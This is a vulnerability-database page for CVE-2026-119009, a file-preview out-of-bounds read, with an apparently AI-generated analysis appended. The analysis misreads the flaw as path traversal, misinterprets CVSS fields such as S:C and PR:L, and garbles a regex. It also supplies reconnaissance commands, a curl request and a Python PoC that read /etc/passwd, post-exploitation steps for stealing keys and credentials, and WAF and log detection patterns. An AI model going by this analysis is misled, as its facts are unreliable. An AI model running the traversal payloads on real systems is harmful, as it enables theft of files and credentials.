CVE Professor
/
All CVEs
CVE-2026-119009

CVE-2026-119009 — CWE-22

MEDIUM CVSS 5 NVD

OOB read vulnerability in the file preview module. Impact: Successful exploitation of this vulnerability may affect service confidentiality.

OOB read vulnerability in the file preview module. Impact: Successful exploitation of this vulnerability may affect service confidentiality.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Changed S:C
Confidentiality Low C:L
Integrity None I:N
Availability None A:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑119009 is a classic CWE‑22: Path Traversal flaw that exists in the file preview component of the affected application.

  • Missing check – The preview module accepts a user‑supplied file path (typically via a query string or form field) and passes it directly to the operating‑system file‑open routine without normalizing or validating the path.

  • Result – An attacker can craft a path that escapes the intended “preview” directory and read any file that the web‑server process can access.

  • Authentication – The CVSS vector indicates PR:L (low privilege). In practice this means that a normal authenticated user (or, in some configurations, even an unauthenticated user) can trigger the traversal.

  • Impact – The vector also shows S:C (confidentiality impact only). No integrity or availability changes occur; the attacker simply obtains read‑only access to arbitrary files.

  • ⚡ Attack Chain

    NOTE: The exact endpoint, parameter names, and directory structure are not disclosed in the CVE text. The following example uses a typical file‑preview URL (/preview) and a file query parameter. Treat it as an illustrative pattern rather than a guaranteed working path.

    1. Discovery & Reconnaissance

    StepTechniqueTools / Commands
    Service fingerprintingIdentify the web application and its version.nmap -sV -p80,443 <target>; curl -I http://<target>/
    Endpoint huntingSearch for a file‑preview endpoint.dirsearch -u http://<target> -e php,html,js
    Parameter enumerationDiscover the file‑path parameter.wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 http://<target>/preview?file=FUZZ
    Privilege checkVerify that a normal user can access the preview.Log in as a test user, then request http://<target>/preview?file=sample.txt

    2. Exploitation

    Goal: Read /etc/passwd (or any other sensitive file).

    # Illustrative example – may need to adjust the endpoint/parameter
    curl "http://<target>/preview?file=../../../../../../etc/passwd" -o /dev/null -w "%{http_code}\n"

    If the server returns a 200 status and the body contains the contents of /etc/passwd, the traversal is successful.

    PoC (Python) – A quick script that automates the traversal:
    import requests
    
    target = "http://<target>"
    payload = "../../../../../../etc/passwd"
    url = f"{target}/preview?file={payload}"
    
    r = requests.get(url)
    if r.status_code == 200 and "root:" in r.text:
        print("[+] File read successfully:")
        print(r.text)
    else:
        print("[-] Exploit failed")
    What the script does
    1. Builds a URL that attempts to climb out of the preview directory.
    2. Sends the request.
    3. Checks for a typical string (root:) that indicates the file was read.

    3. Post‑Exploitation

    ObjectiveHow it can be leveraged
    Data exfiltrationThe attacker can download any file (config files, credentials, private keys).
    Privilege escalationIf the web‑server runs as a privileged user (e.g., www-data with sudo rights), the attacker can read /etc/shadow or /root/.ssh/id_rsa.
    PivotingSensitive files may contain internal IP addresses, database credentials, or API keys that allow the attacker to move laterally into the network.
    PersistenceThe attacker can use the preview module to read a web‑shell script stored on disk and then upload it via another vulnerable endpoint (if available).

    🌍 Real World Impact

    ImpactExplanation
    Confidentiality (C:L)The attacker can read arbitrary files, potentially exposing credentials, private keys, or sensitive business data.
    Integrity (I:N)No modification of files is possible; the flaw is read‑only.
    Availability (A:N)The flaw does not disrupt service; it only reads data.
    ExploitabilityAV:N (network), AC:L (low complexity), PR:L (low privilege). No user interaction required.

    Practical consequences

  • Exposure of configuration files (config.php, .env, web.config).

  • Leakage of database credentials → credential stuffing or direct database access.

  • Retrieval of SSH keys → remote shell access.

  • Potential for data exfiltration or phishing if the attacker can read user data files.

  • 🛡️ Remediation & Mitigation

    1. Patch

    ItemRecommendation
    Affected versionsAll releases prior to the vendor’s patch (exact version numbers not disclosed).
    UpgradeApply the vendor‑supplied patch or upgrade to the latest release as soon as it becomes available.
    Vendor noticeMonitor the vendor’s advisory page or security mailing list for a patch release.
    If a patch is not yet available – apply the following workarounds.

    2. Workarounds

    MitigationHow to implement
    Input validation / whitelistingEnsure the preview module only accepts file names that match a strict regex (e.g., ^[a-zA-Z0-9_\-]+\.(txtpdfjpgpng)$).
    Path canonicalizationResolve the requested path using a language‑specific safe routine (e.g., realpath() in PHP, Path.GetFullPath() in .NET) and verify that the resolved path starts with the allowed preview directory.
    Directory restrictionsConfigure the web server to deny access to directories outside the preview folder (e.g., Alias /preview /var/www/preview/ in Apache, location /preview { root /var/www/preview; } in Nginx).
    Disable preview for sensitive directoriesRemove or restrict the preview feature for directories that contain configuration or credential files.
    Least‑privilege for web‑serverRun the web‑server process under a user with minimal filesystem permissions (e.g., www-data with read access only to the web root).
    WAF / ModSecurity ruleAdd a rule that blocks requests containing .. or / sequences in the file parameter. Example (ModSecurity 2.x):<br>SecRule REQUEST_URIARGS:file "@rx \.\./" "phase:2,deny,status:403,msg:'Path traversal attempt'"
    Important – The WAF rule should be added after the application’s own validation to avoid false positives.

    3. Detection

    IndicatorExample log pattern
    Suspicious path traversalGET /preview?file=../../../../etc/passwd HTTP/1.1" 200
    Repeated attemptsMultiple 200 responses for the same traversal pattern within a short time window.
    Unusual file namesRequests for files that do not exist in the preview directory (e.g., file=nonexistent.txt).

    Sample Apache log entry

    127.0.0.1 - - [01/Dec/2026:12:34:56 +0000] "GET /preview?file=../../../../etc/passwd HTTP/1.1" 200 1234 "-" "Mozilla/5.0"

    Sample Nginx log entry

    127.0.0.1 - - [01/Dec/2026:12:34:56 +0000] "GET /preview?file=../../../../etc/passwd HTTP/1.1" 200 1234 "-" "curl/7.68.0"
    Automated detection – Use SIEM or log‑analysis tools to flag any request containing .. or ../ in the file query string.

    ⚠️ Urgency

    FactorAssessment
    CVSS score5.0 (Medium) – indicates a moderate risk.
    ImpactOnly confidentiality is affected; no integrity or availability loss.
    Exploit complexityLow (no special privileges, no user interaction).
    CISA KEVNo.
    Patch availabilityNot yet released (as of 01 Dec 2026).

    Priority:

  • High for environments that store sensitive files under the preview directory or run the web‑server with elevated privileges.

  • Medium for typical web applications where the preview directory is isolated and the web‑server runs with minimal permissions.


Recommended action
1. Apply the vendor patch as soon as it is released.
2. If a patch is not yet available, implement the workarounds above immediately.
3. Monitor logs for traversal attempts and enforce the WAF rule.
4. Review file‑system permissions to ensure the web‑server cannot read privileged files.

By following these steps, you can mitigate the confidentiality risk posed by CVE‑2026‑119009 while awaiting an official fix.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
5 / 10 · CVSS MEDIUM
Weakness Types (CWE)
References & Advisories (1)
Related CVEs
9.9
CVE-2026-77526
FacturaScripts is an open source accounting and invoicing software. From version 2025 to before version 2026.3
9.8
CVE-2026-145055
PraisonAI pip praisonai before 4.8.0, praisonaiagents and npm praisonai before 1.8.0, and praisonai-bot, prais
9.4
CVE-2026-129109
Calico installations managed by the Tigera Operator install a FlexVolume driver (nodeagent~uds/uds) on every L
9.4
CVE-2026-64883
Path traversal in the WebDAV interface (DotWebdavHelper and the WebDAV temporary-file COPY and MOVE handling)
8.6
CVE-2026-115524
Path traversal in the push-publish bundle receiver (BundlePublisherResource, /api/bundlePublisher/publish) in
8.3
CVE-2026-144679
Thanos through 0.42.5 contains a path traversal vulnerability in Receive that allows unauthenticated remote-wr
8.3
CVE-2026-118326
Improper limitation of a pathname to a restricted directory in attendance photo upload workflow in ZKTeco BioT